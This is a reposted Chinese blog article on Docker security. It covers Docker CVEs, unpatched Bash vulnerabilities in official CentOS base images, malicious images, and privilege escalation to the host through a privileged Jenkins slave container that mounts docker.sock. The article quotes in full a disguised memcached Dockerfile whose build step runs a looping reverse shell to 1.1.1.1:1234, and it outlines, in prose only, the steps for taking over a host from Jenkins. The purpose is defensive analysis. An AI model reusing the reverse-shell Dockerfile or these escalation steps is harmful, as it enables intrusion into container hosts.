转载

Docker安全那些事

0x00 前言

在过去的一年，容器正在以惊人的速度发展，国内也有大量互联网公司在生产环境中使用Docker，其中也不乏万台规模的。前些日子乌云曝出Swarm配置问题造成的安全隐患，也让大家对Docker安全提起了关注，本文主要从“Docker自身安全”，“DockerImages安全”和“Docker使用安全隐患”来聊一聊Docker安全那些事。

0x01 Docker自身安全

归总结了下CVE中关于Docker的漏洞报告,结果如下：

序号	CVE编号	漏洞版本	漏洞名称
1	CVE-2015-3630	1.6.0	Docker Libcontainer 安全绕过漏洞
2	CVE-2015-3627	1.6.1	Libcontainer和Docker Engine 权限许可和访问控制漏洞
3	CVE-2015-3630	1.6.1	Docker Engine 安全绕过漏洞
4	CVE-2014-9358	1.3.3	Docker 目录遍历漏洞
5	CVE-2014-9357	1.3.2	Docker 权限许可和访问控制漏洞
6	CVE-2014-6408	1.3.1	Docker 权限许可和访问控制漏洞
7	CVE-2014-5277	1.3.0	Docker和docker-py 代码注入漏洞

全部漏洞： https://docs.docker.com/engine/security/non-events/

可以发现Docker存在问题的版本分别在1.3和1.6，因为权限控制等问题导致可以脱离容器拿到宿主机权限。Docker在6月发布了最新版本1.12版本，从1.6到如今的1.12都未爆出漏洞的情况（排除Oday可能）。基于Docker本身来讲安全行可以保障的，无论是容器的隔离还是资源限制容器都有着很出色的表现，更多的安全隐患发生在使用者上，因为没有正确的使用容器或者配置出错导致了容器的危险运行。

0x02 DockerImages安全

容器的环境是基于容器镜像，一旦容器镜像存在风险那么容器的安全性也要大打折扣了。我们在看容器镜像又是根据Dockerfile一层层叠加的，如下图：

Docker安全那些事

底层Base镜像引用“atiger77:1.0”，第二层镜像在此之上添加run.sh脚本到容器目录中，第三层镜像是指在容器运行时执行run.sh脚本。Docker镜像有自己的缓存机制，构建时会逐层往上进行检查，底层镜像如果没有产生变动，则跳过构建使用镜像Cache来节省构建时间，如果检测到变动则开始进行构建动作。

这里主要分两种情况来讨论容器镜像的安全。

SoftwareVulnerability（镜像中使用的软件存在高危漏洞）
BadImages（存在后门的容器镜像）

1.SoftwareVulnerability

还是根据刚才的镜像分层来说，底层Base镜像中如果使用的软件存在高危漏洞，那么所有使用Base镜像所构建出的镜像都会存在问题。我们来举个栗子：

Docker安全那些事

上图中Base镜像只安装基础依赖组件,其中软件包abc有高危漏洞。根据Base镜像打出需要的镜像，左边的镜像是添加了代码目录到容器中，右边则构建了一个编译gcc的基础镜像。那么当Base镜像中的abc软件存在高危漏洞，那么所有相关依赖的镜像就都存在了风险。当出现这种情况时，需要先修复Base镜像中的问题软件，完成后一次对依赖的镜像重新进行构建动作。

根据上述情况，我分别从dockerhub和github中下载了部分镜像进行真实测试，

测试漏洞：Bash漏洞，测试代码： https://github.com/hannob/bashcheck/blob/master/bashcheck

测试版本：分别使用官方镜像进行测试，版本为centos5.11/6.6/7.2

Docker安全那些事

测试过程:

Version:5.11 Docker安全那些事

Version:6.6 Docker安全那些事

Version:7.2 Docker安全那些事

测试结果：从测试结果可以看到官网下载的centos5.11和centos6.6都存在BASH漏洞(CVE-2014-6277)。查看了下CVE记录时间为2014年9月9日，官方给出的centos6.6上次更新时间是2015年的5月4日然后并没有修复该漏洞。

CVE报告时间： https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6277

Docker-Centos6.6官方dockerfile地址： https://github.com/CentOS/sig-cloud-instance-images/blob/8911843d9a6cc71aadd81e491f94618aded94f30/docker/Dockerfile

虽然Base镜像已然存在这个漏洞，但是容器用来跑服务的，一般情况下是不需要进入容器进行操作的，这里我演示的只是一个通用漏洞，当然还会存在其他服务的漏洞容器镜像，这里还是给出自己的建议，公司使用容器基础镜像需要自己构建，保证Base镜像的干净和安全，现在也有很多小伙伴开始使用alpine的镜像，一个centos也就几十M搞定了。

其实到这边容器安全都是在可控范围内的，即使使用的服务或者应用有问题使得攻击者上传了webshell，操作的范围也只是在容器内并不会对宿主机产生影响，那么容器就真的安全了嘛？也不尽然，下面我会讲如何通过容器拿到宿主机权限。

2.BadImages

BadImages不是值“坏掉的镜像”而是说那些“恶意镜像”，翻了下乌云所有带“Docker”和“容器”关键字的漏洞，大部分提交的漏洞都是通过Swarm没有配置正确，从而通过远程API实现了未授权访问，相关的解法可以参考“黑客，绝对是黑客”之前写的文章（ http://drops.wooyun.org/papers/15892 ）。在所有Docker的容器中发现一个比较有意思的，利用自己编写的dockerfile执行反弹shell拿到了某公有云一台机器，让我们看下章总的dockerfile

#!bash FROM ubuntu MAINTAINER Victor Coisne [email protected]

RUN sleep 1 RUN cat /etc/passwd RUN echo "deb http://mirrors.163.com/ubuntu/ precise main restricted universe multiverse" > /etc/apt/sources.list RUN apt-get update RUN echo "while ((1));do sleep 1;echo 111;/bin/sh -i >& /dev/tcp/1.1.1.1/1234 0>&1;done" >> /tmp/1.sh RUN bash /tmp/1.sh RUN sleep 20 RUN apt-get install -y memcached ENTRYPOINT ["memcached"] USER daemon EXPOSE 11211

第一眼看是启动memcached的一个dockerfile，仔细一看发现其中别有洞天，在构建过程中存在了一个反弹shell，由于该厂商自有服务的api没有和用户环境隔离做很好的隔离导致反弹shell成功。

我们来分析一下这种情况带来的危害，网上很多的说法都是不要使用非官方的镜像，其实也不尽然官方镜像也不是完全没有问题这一点之前也分析过了,在我看来非官方的镜像不是不能用，只是有些镜像作者没有写任何的介绍或者使用方法，dockerfile也不上传这类镜像还是不建议使用了，有介绍的镜像还是花点时间看下dockerfile的写法到底安装和执行了哪些内容。当然容器相比传统的宿主机而言安全性是更好的,这也要归功于容器的快速迭代，使用容器可以加快整个开发交付流程，即使容器被挂了webshell几天后版本更新会上就会启动一个新的容器，之前的容器也不复存在了。

0x03 Docker使用安全隐患

Docker本身的安全性是值得信赖的，更多的还是人为使用的错误导致了安全隐患，大家印象里都对Swarm没有正确配置导致的安全问题比较了解，使用Swarm的同学可以参考下阿里容器服务的玩法，Swarm配置了tls，用户连接自己Swarm的时候，需要下载证书，使用证书才能和swarm建立tls连接。这里我会讲另一个docker使用场景中会出现的安全隐患以及一些使用docker的注意事项。

Docker的出现加快了整个开发-测试-上线流程，其中我们会使用Jenkins来做持续化集成的工作，简化流程大致如下(这里只介绍大概流程让大家有个印象，省去详细的流程)：

1.开发本地编写代码，开发环境通过 --> 2.测试环境进行UT等其他测试，测试环境通过 --> 3.发布线上环境

当容器用在生产环境中，那么作为Jenkins而言就起到了CICD的作用，通过Jenkins-Master接受任务分配给对应Slave执行,通过后并将代码打包到镜像中发送上线。

让我们看一下大致的Compose文件长什么样：

Docker安全那些事

compose运行在jenkins中设置完毕,主就可以把任务分配给从,并且由从进行测试构建编译打包成容器等动作。为了让jenkins-slave能在编译完成后在宿主机中打镜像而不是在容器内部，在compose中从挂卷将宿主机的/var/run/docker.sock挂到了容中,并且赋予了"privileged"权限，这个写法其实并没有什么问题，为了让从能构建镜像所以赋予root权限,恰恰是这样一旦jenkins被攻破那么就会对宿主机的安全造成了威胁，这里拿测试环境给大家演示一下。

环境：假设现在有一台Jenkins，攻击者通过爆破破解,弱密码尝试甚至没有密码的情况进入了Jenkins管理页面。

攻击思路：由于jenkins-slave有着root权限，我们需要拿到jenkins-slave权限然后进行提权操作，从而获取宿主机权限。

攻击过程：

确定节电中已经添加slave
添加任务并分配给slave
查看Slave宿主机中存在的容器列表

注：默认用户是jenkins,执行时需要加上sudo否则提示权限不足。这里可以看到拥有了privileged权限的slave容器获得了宿主机的权限。
在"Execute shell"中下载带有ssh服务的DockerImage
对宿主机所在机器进行端口扫描，可以发现2016端口状态为open

注释：本人是测试环境就写了内网IP。
登录宿主机2016端口添加公钥
登录宿主机的22端口，获取宿主机权限